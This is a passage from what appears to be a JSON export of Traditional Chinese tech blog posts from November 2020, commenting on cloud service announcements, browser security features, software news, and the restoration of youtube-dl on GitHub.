    "body": "剛剛看到 <a href=\"https://aws.amazon.com/ebs/\">Amazon EBS</a> 的 Cold HDD (<code>sc1</code>) 大幅降價 40%：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/11/aws-announces-price-reduction-for-amazon-ebs-sc1-volumes/\">AWS announces 40% price reduction for Amazon Elastic Block Store (EBS) Cold HDD (sc1) volumes</a>」。\r\n\r\nCold HDD (<code>sc1</code>) 主要是拿來堆資料的，直接掛上來操作比起 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 還是方便不少，這次的降價算是懶人的福音？\r\n\r\n現在的「<a href=\"https://aws.amazon.com/ebs/pricing/\">Amazon EBS pricing</a>」頁面已經更新了，想要比較的話可以從 <a href=\"https://archive.is/\">archive.is</a> 上面的「<a href=\"https://archive.is/3OFjM\">Amazon EBS pricing</a>」對比。價錢的部份從十一月九號自動生效：\r\n\r\n<blockquote>Amazon EBS customers automatically benefit from this new lower price, which is effective starting November 9th, 2020.</blockquote>",
    "title": "Amazon EBS 的 Cold HDD (sc1) 降價 40%"
  },
  {
    "id": "9799",
    "body": "在「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/11/amazon-documentdb-with-mongodb-compatibility-adds-support-for-mongodb-4-and-transactions/\">Amazon DocumentDB (with MongoDB compatibility) adds support for MongoDB 4.0 and transactions</a>」這邊看到 <a href=\"https://aws.amazon.com/\">AWS</a> 在 <a href=\"https://aws.amazon.com/documentdb/\">Amazon DocumentDB</a> 上推出相容 <a href=\"https://www.mongodb.com/\">MongoDB</a> 4.0 的版本。\r\n\r\n把年初在 <a href=\"https://www.ptt.cc/\">Ptt</a> 上寫的「<a href=\"https://www.ptt.cc/bbs/Soft_Job/M.1584936108.A.9A4.html\">Re: [請益] 選擇mongoDB或是relational database ??</a>」這篇拿出來講一下，MongoDB 4.0 最大的改進就是 multi-document transactions 了。\r\n\r\n不過 AWS 先前推出 DocumentDB (MongoDB) 時看到的限制，大家都猜測是用 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 當底層 (「<a href=\"https://blog.gslin.org/archives/2019/01/11/8675/aws-%e6%8e%a8%e5%87%ba-mongodb-%e6%9c%8d%e5%8b%99%ef%bc%9aamazon-documentdb/\">AWS 推出 MongoDB 服務：Amazon DocumentDB</a>」與「<a href=\"https://blog.gslin.org/archives/2019/01/17/8678/%e5%a4%a7%e5%ae%b6%e5%9c%a8%e7%8c%9c-amazon-documentdb-%e7%9a%84%e5%ba%95%e5%b1%a4%e6%98%af%e4%b8%8d%e6%98%af-postgresql/\">大家在猜 Amazon DocumentDB 的底層是不是 PostgreSQL...</a>」)，雖然目前還是不太清楚，但如果這個猜測屬實的話，要推出各種 transaction 的支援完全不是問題 XDDD",
    "title": "Amazon DocumentDB 推出相容 MongoDB 4.0 的版本"
  },
  {
    "id": "9800",
    "body": "<a href=\"https://ubuntu.com/\">Ubuntu</a> 的 <a href=\"https://ubuntu.com/security/esm\">ESM (Extended Security Maintenance)</a> 是指 LTS (Long Term Support) 版本在五年的維護期過了以後，可以付費取得安全性更新的方案。\r\n\r\n剛剛看到 Ubuntu 官方的文章，說明 Ubuntu 16.04 的 ESM 差不多要開始了：「<a href=\"https://ubuntu.com/blog/ubuntu-16-04-lts-esm-migration-path\">Less than 6 months to Ubuntu 16.04 ESM: 6 things to prepare</a>」。\r\n\r\nESM 在早期是延長三年，但最近則是改成五年。第一次提供 ESM 的 12.04 到後續的 14.04 與 16.04 都是三年，而 18.04 與 20.04 則是五年。\r\n\r\n剛剛翻資料的時候發現原來 ESM 有提供個人免費使用 (在 <a href=\"https://ubuntu.com/advantage\">Ubuntu Advantage</a> 的 Essential 方案內)，一般是三台，如果是社群成員的話有機會到五十台：\r\n\r\n<blockquote>Free for personal use\r\nCanonical provides Ubuntu Advantage Essential subscriptions, which include ESM, free of charge for individuals on up to 3 machines. For our community of Ubuntu members we will gladly increase that to 50 machines. Your personal subscription will also cover Livepatch, FIPS and CIS hardening tools.</blockquote>\r\n\r\n不過手上 16.04 的機器也升的差不多了，好像用不太到...",
    "title": "Ubuntu 16.04 (xenial) 的 ESM 準備中..."
  },
  {
    "id": "9801",
    "body": "看到「<a href=\"https://www.dampfkraft.com/posuto.html\">Parsing the Infamous Japanese Postal CSV</a>」這篇在抱怨日本郵政提供的 CSV 資料超級糟糕的問題覺得頗「有趣」的，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上也有人「同病相憐」XDDD：「<a href=\"https://news.ycombinator.com/item?id=25023673\">Parsing the Infamous Japanese Postal CSV (dampfkraft.com)</a>」。\r\n\r\n文章作者是「<a href=\"https://pypi.org/project/posuto/\">posuto</a>」這個套件的維護人，這個套件讓開發者可以很方便的在 <a href=\"https://www.python.org/\">Python</a> 下從郵遞區號推出對應的地點資訊：\r\n\r\n<pre>import posuto as 〒\r\n\r\n? = 〒.get('〒105-0011')\r\n\r\nprint(?)\r\n# \"東京都港区芝公園\"\r\nprint(?.prefecture)\r\n# \"東京都\"\r\nprint(?.kana)\r\n# \"トウキョウトミナトクシバコウエン\"\r\nprint(?.romaji)\r\n# \"Tokyo To, Minato Ku, Shibakoen\"\r\nprint(?.note)\r\n# None</pre>\r\n\r\n作者建立的資料是從「<a href=\"https://www.post.japanpost.jp/zipcode/dl/kogaki-zip.html\">読み仮名データの促音・拗音を小書きで表記するもの(zip形式)</a>」這邊取得並且分析，然後這篇文章就是在描述這些 CSV 檔的資料裡面有超級多奇怪的例外，用機器讀取超哭爸的 XDDD (好像不怎麼意外？)\r\n\r\n不過最有趣的應該還是他提到的這個：\r\n\r\n<blockquote>Oh, and if you need a Win3.1 or DOS program to copy the data onto an IBM H floppy disk, just check the bottom of JP Post's page - they've got you covered.</blockquote>\r\n\r\n看起來是頁面下方的這塊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FW8MZl2.webp\" /><img src=\"https://i.gslin.com/imgur/FW8MZl2.png\" alt=\"\" /></picture>\r\n\r\n這就真的太哭爸了啊 XDDD",
    "title": "日本郵政的 CSV 資料"
  },
  {
    "id": "9802",
    "body": "在「<a href=\"https://blog.mozilla.org/security/2020/11/13/preloading-intermediate-ca-certificates-into-firefox/\">Preloading Intermediate CA Certificates into Firefox</a>」這邊看到 <a href=\"https://www.mozilla.org/\">Mozilla</a> 的人打算在 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 上預載所有的 Intermediate CA，以降低 HTTPS 連線發生錯誤的作法。這點在 Mozilla 的 Wiki 上也有記錄：「<a href=\"https://wiki.mozilla.org/Security/CryptoEngineering/Intermediate_Preloading\">Security/CryptoEngineering/Intermediate Preloading</a>」。\r\n\r\n的確如文章裡說的，沒有正確放入 Intermediate CA 是個 server 設定上很常見的錯誤。像是前幾天看到「<a href=\"https://blog.darkthread.net/blog/cert-chain-issue/\">【茶包射手日記】網站憑證無效案例分析</a>」這篇講的摩斯 <a href=\"https://www.mos.com.tw/\">https://www.mos.com.tw/</a> 其實就是這個案例，用 <a href=\"https://www.ssllabs.com/ssltest/analyze.html\">SSL Labs</a> 的工具就可以掃出來問題：「<a href=\"https://www.ssllabs.com/ssltest/analyze.html?d=www.mos.com.tw\">SSL Report: www.mos.com.tw (210.59.225.242)</a>」。\r\n\r\n問題出在於沒有送出正確的 Intermediate CA(s)，所以在 <a href=\"https://www.android.com/\">Android</a> 上找不到一條完整的 trust chain：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ePg7Sc9.webp\" /><img src=\"https://i.gslin.com/imgur/ePg7Sc9.png\" alt=\"\" /></picture>\r\n\r\n不過在 Windows 系統內的 CA store 是可以建立出一條完整的 trust chain，所以 Windows 上的 <a href=\"https://www.microsoft.com/en-us/edge\">Microsoft Edge</a> 與 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 是不會有問題的 (這兩個都吃系統的 CA store)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/YwJhdd0.webp\" /><img src=\"https://i.gslin.com/imgur/YwJhdd0.png\" alt=\"\" /></picture>\r\n\r\n而 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 上的 Google Chrome 就會出問題 (這邊會吃 Google 自家的 CA store 資料，就是 Android 那包)。\r\n\r\n交叉比對中華電信自家的網站，像是「<a href=\"https://www.ssllabs.com/ssltest/analyze.html?d=www.cht.com.tw&amp;s=2001%3ab000%3a1a4%3ad000%3a203%3a75%3a129%3a111\">SSL Report: www.cht.com.tw (2001:b000:1a4:d000:203:75:129:111)</a>」這組，可以看到同樣都叫做「Chunghwa Telecom Co., Ltd. / Public Certification Authority - G2」的 Intermediate CA，但有兩種不同的 SHA256，可以翻到是：「<a href=\"https://censys.io/certificates/609930eb807ad420afda2a8aa61b67483039168cd766e09942a48bfe7f3bdc10\">609930eb807ad420afda2a8aa61b67483039168cd766e09942a48bfe7f3bdc10</a>」與「<a href=\"https://censys.io/certificates/f5fb67c8453eda34dbec8a766574f07a03548c084af2f5e6455ea769608d9ad5\">f5fb67c8453eda34dbec8a766574f07a03548c084af2f5e6455ea769608d9ad5</a>」，點入裡面的「Trust」tab 中可以看到中華自己的 CA 與 ePKI 的 CA 都有交叉簽，但卻不是每一個 CA 都有被所有瀏覽器認可，所以在設定的時候就得注意...\r\n\r\n話說回來，現在因為 <a href=\"https://cabforum.org/\">CA/B Forum</a> 的標準有強制要送 CT (<a href=\"https://www.certificate-transparency.org/\">Certificate Transparency</a>)，的確是有辦法抓出所有的 Intermediate CA 沒錯，但瀏覽器幫使用者預載感覺好像怪怪的？\r\n\r\n<blockquote>In essence, Firefox pre-downloads all trusted Web Public Key Infrastructure (PKI) intermediate CA certificates into Firefox via Mozilla’s Remote Settings infrastructure. This way, Firefox users avoid seeing an error page for one of the most common server configuration problems: not specifying proper intermediate CA certificates.</blockquote>\r\n\r\n目前大約有 2000 筆資料：\r\n\r\n<blockquote>Given this information, we periodically synthesize a list of these intermediate CA certificates and place them into Remote Settings. Currently the list contains over two thousand entries.</blockquote>\r\n\r\n這個比較像是 client 端的 hack？",
    "title": "Firefox 試著透過預載 Intermediate CA 降低連線錯誤發生的機率？"
  },
  {
    "id": "9804",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到的東西，看起來是 C++ 版本的 <a href=\"https://kafka.apache.org/\">Apache Kafka</a> 替代品 <a href=\"https://vectorized.io/redpanda/\">Redpanda</a>，要注意的是這不是 open source license 軟體：「<a href=\"https://news.ycombinator.com/item?id=25075739\">Redpanda – A Kafka-compatible streaming platform for mission-critical workloads (vectorized.io)</a>」。\r\n\r\n目前網站上可以看到，最主要的特點是不需要 <a href=\"https://zookeeper.apache.org/\">Apache ZooKeeper</a>，不過這點在 Kafka 這邊也正在進行了 (之前在「<a href=\"https://blog.gslin.org/archives/2020/03/18/9444/kafka-%E6%8B%94%E6%8E%89-zookeeper-%E7%9A%84%E8%A8%88%E7%95%AB/\">Kafka 拔掉 ZooKeeper 的計畫</a>」這篇有提到)，雖然進度有點慢...\r\n\r\n另外目前完全沒有 benchmark 資料，只有宣稱 10x 更快，官方在 Hacker News 上的回應是說十二月會有公開的測試報告，這樣我會把 10x 當廣告詞看了，應該會更快，但大概是某種特殊情境下才會達到...",
    "title": "C++ 版本的 Kafka"
  },
  {
    "id": "9805",
    "body": "看到 <a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 新增了泰國曼谷節點的消息：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/11/cloudfront-thailand/\">Amazon CloudFront launches in Thailand</a>」，原來泰國之前沒開啊...\r\n\r\n<blockquote>Amazon CloudFront announces its first two edge locations in Thailand.</blockquote>\r\n\r\n另外依照網路架構，先前泰國的流量應該是往新加坡或是香港跑 (我覺得新加坡可能比較像？)，不過也不是那麼確定... 畢竟地理位置比較近的馬來西亞可以透過陸地就拉過去，不需要走海纜，只是不確定馬來西亞的點有沒有買 transit：\r\n\r\n<blockquote>These new edge locations in Bangkok will provide viewers as much as a 30% reduction in p90 latency measures.</blockquote>\r\n\r\n然後最近都至少是兩個點在開了，對服務穩定性比較好，維修的影響也比較小...",
    "title": "CloudFront 新增泰國節點"
  },
  {
    "id": "9806",
    "body": "<a href=\"https://www.mozilla.org/\">Mozilla</a> 在 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 83 推出了 HTTPS-Only Mode：「<a href=\"https://blog.mozilla.org/security/2020/11/17/firefox-83-introduces-https-only-mode/\">Firefox 83 introduces HTTPS-Only Mode</a>」。\r\n\r\n就如同名稱的說明，這個模式只會允許 HTTPS 的連線，主要的設計方式是把「開 HTTP 連線」當作一種特殊權限，就像 notification 之類的權限一樣：\r\n\r\n<blockquote>When you enable HTTPS-Only Mode:\r\n<ul>\r\n\t<li>Firefox attempts to establish fully secure connections to every website, and</li>\r\n\t<li>Firefox asks for your permission before connecting to a website that doesn’t support secure connections.</li>\r\n</ul></blockquote>\r\n\r\n使用者會先在設定裡面開啟這個全域設定：\r\n\r\n<img src=\"https://i.gslin.com/imgur/sdsQyJA.gif\" alt=\"\" />\r\n\r\n開了以後如果想要連 HTTP 網站，就會遇到阻擋：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/mWkxxUU.webp\" /><img src=\"https://i.gslin.com/imgur/mWkxxUU.jpg\" alt=\"\" /></picture>\r\n\r\n這個功能真的不賴，馬上想到 <a href=\"https://www.torproject.org/\">Tor Browser</a> 與 <a href=\"https://tails.boum.org/\">Tails</a> 應該都會改用這個，畢竟 <a href=\"https://www.torproject.org/\">Tor</a> 的 HTTP 出口常常被搞...\r\n\r\n我自己類似的保護措施是把 HTTP 頁面執行 JavaScript 的能力全部關掉，像是這樣 (這邊是 <a href=\"https://brave.com/\">Brave</a> 瀏覽器，是個基於 <a href=\"https://www.chromium.org/\">Chromium</a> 的 fork)：\r\n\r\n<img src=\"https://i.gslin.com/imgur/JF3lkcd.png\" alt=\"\" />\r\n\r\n然後對於需要 JavaScript 的 HTTP 頁面，我是透過「<a href=\"https://chrome.google.com/webstore/detail/simple-javascript-toggle/mhidlbegmoiddmebedbiijmpckambgfj\">Simple JavaScript Toggle</a>」暫時授權。\r\n\r\n這樣至少在無法確認 integrity 的情況下不會執行 js，減少可被攻擊的面積...",
    "title": "Firefox 83 推出 HTTPS-Only Mode"
  },
  {
    "id": "9808",
    "body": "看到 <a href=\"https://aws.amazon.com/lightsail/\">Amazon Lightsail</a> 推出了 Container 版本的消息：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/11/announcing-amazon-lightsail-containers/\">Announcing Amazon Lightsail Containers, an easy way to run containerized applications on the cloud</a>」，另外在「<a href=\"https://aws.amazon.com/blogs/aws/lightsail-containers-an-easy-way-to-run-your-containers-in-the-cloud/\">Lightsail Containers: An Easy Way to Run your Containers in the Cloud</a>」這邊也有介紹。\r\n\r\n從官方 blog 上的圖可以看到機器規格與價位，比 Lightsail 貴一些：\r\n\r\n<img src=\"https://i.gslin.com/imgur/CD6yXIu.gif\" alt=\"\" />\r\n\r\n另外有提到如果之後要轉到 <a href=\"https://aws.amazon.com/ecs/\">Amazon ECS</a> 或是 <a href=\"https://aws.amazon.com/eks/\">Amazon EKS</a> 的話也都可以直接轉，不過我印象中 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ELB</a> 的部份還是要設一下，這點看起來 Lightsail 簡化了不少：\r\n\r\n<blockquote>If you plan to later deploy your container to Amazon ECS or Amazon Elastic Kubernetes Service, no changes are required. You can pull the container image from your repository, just like you do with Amazon Lightsail.</blockquote>\r\n\r\n不過後面實際上是用什麼架構跑啊？如果考慮到安全性的話應該是直接拿 <code>t3.*</code> 的主機直接 1:1 對應，只是包裝成吃 <a href=\"https://www.docker.com/\">Docker</a>，而不會共用主機？",
    "title": "Amazon Lightsail 推出 Container 版本"
  },
  {
    "id": "9809",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到 <a href=\"https://www.airbnb.com/\">AirBnB</a> 送出 <a href=\"https://en.wikipedia.org/wiki/Form_S-1\">Form S-1</a> 了：「<a href=\"https://www.sec.gov/Archives/edgar/data/1559720/000119312520294801/d81668ds1.htm\">d81668ds1.htm</a>」，在 <a href=\"https://techcrunch.com/\">TechCrunch</a> 上面也有一系列的文章可以看...\r\n\r\n<ul>\r\n\t<li><a href=\"https://techcrunch.com/2020/11/16/airbnb-files-to-go-public/\">Airbnb files to go public</a></li>\r\n\t<li><a href=\"https://techcrunch.com/2020/11/16/airbnb-ipo-s-1-equity/\">Equity Shot: Airbnb’s IPO is finally here</a></li>\r\n\t<li><a href=\"https://techcrunch.com/2020/11/16/the-vc-and-founder-winners-in-airbnbs-ipo/\">The VC and founder winners in Airbnb’s IPO</a></li>\r\n\t<li><a href=\"https://techcrunch.com/2020/11/17/5-questions-from-airbnbs-ipo-filing/\">5 questions from Airbnb’s IPO filing</a></li>\r\n</ul>\r\n\r\n印象中差不多試 2018 年就有一些傳言了，結果在 2019 年的時候沒看到，到了 2020 年被 <a href=\"https://en.wikipedia.org/wiki/COVID-19\">COVID-19</a> 重挫... 但長期來看是個成功的商業模式，所以 2020 年不論是有要上還是沒有要上都不意外，現在丟出 Form S-1 給了個答案。\r\n\r\n接下來就是等開張那天的股價了...",
    "title": "AirBnB 送出 Form S-1"
  },
  {
    "id": "9810",
    "body": "<a href=\"https://servo.org/\">Servo</a> 是使用 <a href=\"https://www.rust-lang.org/\">Rust</a> 開發的 web engine，先前是由 <a href=\"https://www.mozilla.org/\">Mozilla</a> 在後面支撐，在 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 裡面也有使用 Servo 的 CSS engine，而 Servo 的 JavaScript engine 則是使用了 <a href=\"https://en.wikipedia.org/wiki/SpiderMonkey\">SpiderMonkey</a>。\r\n\r\n但在今年 Mozilla 大幅重整組織後，Servo 的未來變得頗不明朗，直到現在公佈會由 <a href=\"https://www.linuxfoundation.org/\">Linux Foundation</a> 提供協助：「<a href=\"https://blog.servo.org/2020/11/17/servo-home/\">Servo’s new home</a>」。\r\n\r\n<blockquote>The Servo Project is excited to announce that it has found a new home with the Linux Foundation.</blockquote>\r\n\r\n這樣看起來暫時解決了一個大問題，開發的能量還得看看要怎麼補上來...",
    "title": "Servo 將由 Linux Foundation 提供協助"
  },
  {
    "id": "9811",
    "body": "<a href=\"https://www.apple.com/\">Apple</a> 宣佈了小企業的 <a href=\"https://www.apple.com/app-store/\">App Store</a> 抽成將從明年起降價：「<a href=\"https://www.apple.com/newsroom/2020/11/apple-announces-app-store-small-business-program/\">Apple announces App Store Small Business Program</a>」。\r\n\r\n新聞稿的副標先把重點拉出來了：\r\n\r\n<blockquote>New program reduces App Store commission to 15 percent for small businesses earning up to $1 million per year</blockquote>\r\n\r\n細節會在 12 月釋出，但蘋果先解釋了有哪些情況會符合 30% -&gt; 15% 的條件，分成現有的帳戶與新的帳戶，基本上是以一百萬美金為標準：\r\n\r\n<blockquote>While the comprehensive details will be released in early December, the essentials of the program’s participation criteria are easy and streamlined:\r\n\r\n<ul>\r\n\t<li>Existing developers who made up to $1 million in 2020 for all of their apps, as well as developers new to the App Store, can qualify for the program and the reduced commission.</li>\r\n\t<li>If a participating developer surpasses the $1 million threshold, the standard commission rate will apply for the remainder of the year.</li>\r\n\t<li>If a developer’s business falls below the $1 million threshold in a future calendar year, they can requalify for the 15 percent commission the year after.</li>\r\n</ul></blockquote>\r\n\r\n不知道對蘋果的影響會有多少，但對於個人開發的 app 應該是可以拿到多一點，大企業的 app 主要都會超過而沒有什麼大影響。\r\n\r\n感覺這應該跟最近一些內部文件與電子郵件被公開有關...",
    "title": "小企業的蘋果稅將從 30% 降到 15%"
  },
  {
    "id": "9812",
    "body": "剛剛看到 <a href=\"https://archive.org/\">Internet Archive</a> 的這篇文章：「<a href=\"https://blog.archive.org/2020/11/19/flash-animations-live-forever-at-the-internet-archive/\">Flash Animations Live Forever at the Internet Archive</a>」。\r\n\r\nInternet Archive 把模擬器掛上去了，所以你可以直接在網站上用這些 Flash 程式：\r\n\r\n<blockquote>Great news for everyone concerned about the Flash end of life planned for end of 2020: The Internet Archive is now emulating Flash animations, games and toys in our software collection.</blockquote>\r\n\r\n看起來是透過 <a href=\"https://ruffle.rs/\">ruffle</a> + <a href=\"https://en.wikipedia.org/wiki/WebAssembly\">WebAssembly</a> 轉到瀏覽器上面跑：\r\n\r\n<blockquote>Utilizing an in-development Flash emulator called Ruffle, we have added Flash support to the Internet Archive’s Emularity system, letting a subset of Flash items play in the browser as if you had a Flash plugin installed. While Ruffle’s compatibility with Flash is less than 100%, it will play a very large portion of historical Flash animation in the browser, at both a smooth and accurate rate.</blockquote>\r\n\r\n<blockquote>You will not need to have a flash plugin installed, and the system works in all browsers that support Webassembly.</blockquote>\r\n\r\n然後在「<a href=\"https://archive.org/details/softwarelibrary_flash_showcase\">Software Library: Flash Showcase</a>」這邊有一些 showcase 可以看，基本上就是測過沒問題的。另外在「<a href=\"https://archive.org/details/softwarelibrary_flash\">Software Library: Flash</a>」看起來就是整包了...\r\n\r\n搜了一下以前有在玩的 Zookeeper，好像沒有在裡面...",
    "title": "Internet Archive 的 Flash 收藏"
  },
  {
    "id": "9813",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的網站，直接使用對應的字型，讓使用者可以直接感覺：「<a href=\"https://devfonts.gafi.dev/\">Dev Fonts</a>」。\r\n\r\n目前上面有 33 種字型，大多都是免費的 (目前上面只有看到 <a href=\"https://dank.sh/\">Dank Mono</a> 是收費的字型)。\r\n\r\n在頁面上可以換 theme，以及選擇不同程式語言的 syntax highlighter，另外下方範例的程式碼也可以自己修改，這些都是讓使用者模擬實際的感受。",
    "title": "挑選開發者用的 Monospace 字型"
  },
  {
    "id": "9814",
    "body": "看到「<a href=\"https://zfs.rent/\">zfs.rent</a>」這個網站：\r\n\r\n<pre>We have a couple of ZFS-based NAS systems. We wanted a simple cloud service so we could run:\r\n\r\n$ zfs send -v -R -I pool/snapshot_034 pool/snapshot_042 |\\\r\n    ssh marvin@marvin.zfs.rent zfs recv -v -Fu pool/snapshots</pre>\r\n\r\n看起來是用 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 上的 <a href=\"https://en.wikipedia.org/wiki/OpenZFS\">OpenZFS</a> 架的，每個 instance 提供 4GB RAM，這個部份應該還好，但只提供 1TB 的流量 (上傳與下載都要算)，這部份看起來就有點不太夠用了，以這種服務來說蠻容易踩到 overcharge 的部份。\r\n\r\n作業系統的部份可以選擇 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 20.04 或是 <a href=\"https://www.centos.org/\">CentOS</a> 8.2。\r\n\r\n以架構上來說可以當作是某種特化的 VPS (底層的 raw disk 直接掛上來)，以這個角度來看的話，機器部份的費用看起來還好，但頻寬部份會拉高整體成本。\r\n\r\n這個服務看起來比較像是噱頭吧，看看就好...",
    "title": "ZFS 租用服務"
  },
  {
    "id": "9815",
    "body": "在「<a href=\"https://www.forbes.com/sites/johnkoetsier/2020/11/18/youtube-will-now-show-ads-on-all-videos-even-if-creators-dont-want-them/\">YouTube Will Now Show Ads On All Videos Even If Creators Don’t Want Them</a>」這邊看到的消息，<a href=\"https://www.youtube.com/\">YouTube</a> 現在會針對非營利的影片也開始放廣告了，而且不會分潤給創作者：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">This is nuts. If you&#39;re a small channel, struggling to grow and haven&#39;t yet gotten monetization, YouTube will run ads now and take 100% of the profit from your work. This is the greediest move I&#39;ve ever seen.</p>&mdash; Mastar (@MastarMedia) <a href=\"https://twitter.com/MastarMedia/status/1329167265875496963?ref_src=twsrc%5Etfw\">November 18, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n看到新聞當下馬上想到的是「<a href=\"https://nicechord.com/\">NiceChord 好和弦</a>」這個完全不開平台廣告的頻道，然後剛剛就看到他貼出來：(出自 <a href=\"https://www.facebook.com/nicechord/posts/2800689726883136\">https://www.facebook.com/nicechord/posts/2800689726883136</a> 這邊，<a href=\"https://www.facebook.com/\">Facebook</a> 的 embed 太麻煩了...)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EZiBUXT.webp\" /><img src=\"https://i.gslin.com/imgur/EZiBUXT.png\" alt=\"\" /></picture>\r\n\r\n他挑的是 <a href=\"https://lbry.tv/\">LBRY</a> 這個架構的平台，不過記得 LBRY 平台的頻寬部份需要自己打理，這點 lbry.tv 是有弄一組出來 (<code>cdn.lbryplayer.xyz</code>)，但對於台灣這邊的連線品質就不太行... 不過這讓我想把 <code>cdn.lbryplayer.xyz</code> 放進 <a href=\"https://oss.oetiker.ch/smokeping/\">SmokePing</a> 裡面監控看看。\r\n\r\n不過就算自己要處理頻寬成本應該也還好，馬上想的到的方法是 <a href=\"https://www.backblaze.com/\">Backblaze</a> + <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 這種方式，不過我記得 Cloudflare 很明顯很不歡迎這種用法，量大的 YouTuber 切過去的瞬間大概就會被處理 XD\r\n\r\n如果考慮自己付錢，像是 <a href=\"https://egihosting.com/\">EGI Hosting</a> 的美國頻寬對台港區還算堪用，<a href=\"https://egihosting.com/dedicated-servers/\">Bare Metal Server Plans</a> 這邊有看到 USD$60/month 提供 20TB/month 的頻寬，大約是 USD$0.003/GB。\r\n\r\n更低的像是 <a href=\"https://www.ovh.com/\">OVH</a> 的「<a href=\"https://www.ovhcloud.com/en/bare-metal/prices/\">Dedicated server prices - Discover our solutions | OVHcloud</a>」，500Mbps 也差不多是 USD$60/month，只算 1/3 使用率的話大約是 50TB，成本會降到 USD$0.0012/GB\r\n\r\n不過 LBRY 更大的問題是他還搞了 blockchain 出來，這滿滿 (逼～) 的味道，到底做不做的起來就不曉得了 XDDD",
    "title": "即使你不開營利，YouTube 也開始會顯示廣告了..."
  },
  {
    "id": "9819",
    "body": "<a href=\"https://youtube-dl.org/\">youtube-dl</a> 被下架的事情後續又有不少進展了 (先前寫過「<a href=\"https://blog.gslin.org/archives/2020/11/03/9782/youtube-dl-%e8%a2%ab-riaa-%e7%94%a8-dmca-%e6%89%93%e4%b8%8b%e4%be%86%e7%9a%84%e4%ba%8b%e4%bb%b6/\">youtube-dl 被 RIAA 用 DMCA 打下來的事件</a>」這篇)，主要是 <a href=\"https://github.com/\">GitHub</a> 恢復了 youtube-dl 的 Git Repository，然後丟出了一篇文章解釋過程，以及後續的作法：「<a href=\"https://github.blog/2020-11-16-standing-up-for-developers-youtube-dl-is-back/\">Standing up for developers: youtube-dl is back</a>」。\r\n\r\n要注意這次的事件完全是法律戰，所以裡面發生的敘述都是各自的說法，大家可以自己解讀...\r\n\r\nGitHub 的這篇文章是由 <a href=\"https://www.linkedin.com/in/abby-v-13706b69/\">Abby Vollmer</a> 發表的，從 <a href=\"https://www.linkedin.com/\">LinkedIn</a> 上的資料也可以看到他以前的經歷都是法律相關，現在在 GitHub 的頭銜是「Director of Platform Policy and Counsel」，而這篇的用字也可以看出來很小心。\r\n\r\n首先 GitHub 認為下架的原因是 Section 1201：\r\n\r\n<blockquote>Section 1201 dates back to the late 1990s and did not anticipate the various implications it has for software use today. As a result, Section 1201 makes it illegal to use or distribute technology (including source code) that bypasses technical measures that control access or copying of copyrighted works, even if that technology can be used in a way that would not be copyright infringement. Circumvention was the core claim in the youtube-dl takedown.</blockquote>\r\n\r\n而 GitHub 後續恢復 youtube-dl 的原因是收到 <a href=\"https://www.eff.org/\">EFF</a> 代表 youtube-dl 開發者所做的 counter notice：「<a href=\"https://github.com/github/dmca/blob/master/2020/11/2020-11-16-RIAA-reversal-effletter.pdf\">2020-11-16-RIAA-reversal-effletter.pdf</a>」。\r\n\r\n照以往這種把事情搞超大的慣例，<a href=\"https://www.riaa.com/\">RIAA</a> 應該是不會有後續的動作，所以就 youtube-dl 這件事情來說應該是差不多告一段落。\r\n\r\nGitHub 後續針對 Section 1201 提出了兩個改善措施，一個是重新設計 Section 1201 的處理方式，另外一個是 GitHub 自己投入資金，降低 developer 的負擔。\r\n\r\n但整件事情背後的問題主要是在 DMCA 的設計，讓濫發 takedown notice 的人很難受罰，在這點沒有改善之前，同樣的劇碼應該都還是會繼續上演。",
    "title": "youtube-dl 的恢復與後續 GitHub 的處理模式"
  },
  {
    "id": "9820",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <a href=\"https://aws.amazon.com/s3/storage-analytics-insights/\">Amazon S3 Storage Lens</a>，可以看 <a href=\"https://aws.amazon.com/s3/\">S3</a> 使用的概況：「<a href=\"https://aws.amazon.com/blogs/aws/s3-storage-lens/\">Introducing Amazon S3 Storage Lens – Organization-wide Visibility Into Object Storage</a>」。\r\n\r\n要使用者個功能需要授權 Amazon S3 Storage Lens 一些權限，照著說明去 <a href=\"https://aws.amazon.com/s3/storage-analytics-insights/\">IAM</a> 開就可以了，開好後要等他一陣子，他需要去分析記錄才能產出 dashboard。\r\n\r\n有免費版與付費版可以用，付費版的部份目前看到都是「$0.20 per million objects monitored per month」，但沒把所有的區域都翻完，所以不確定。\r\n\r\n我自己看了一下免費版提供的預設 dashboard，就已經給出不少好用的資訊了，像是 30 天內的物件數與空間使用率變化，可以抓到一些成長數量的感覺。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2UOfOpA.webp\" /><img src=\"https://i.gslin.com/imgur/2UOfOpA.png\" alt=\"\" /></picture>\r\n\r\n可以建議至少免費版的部份就先開起來丟著...",
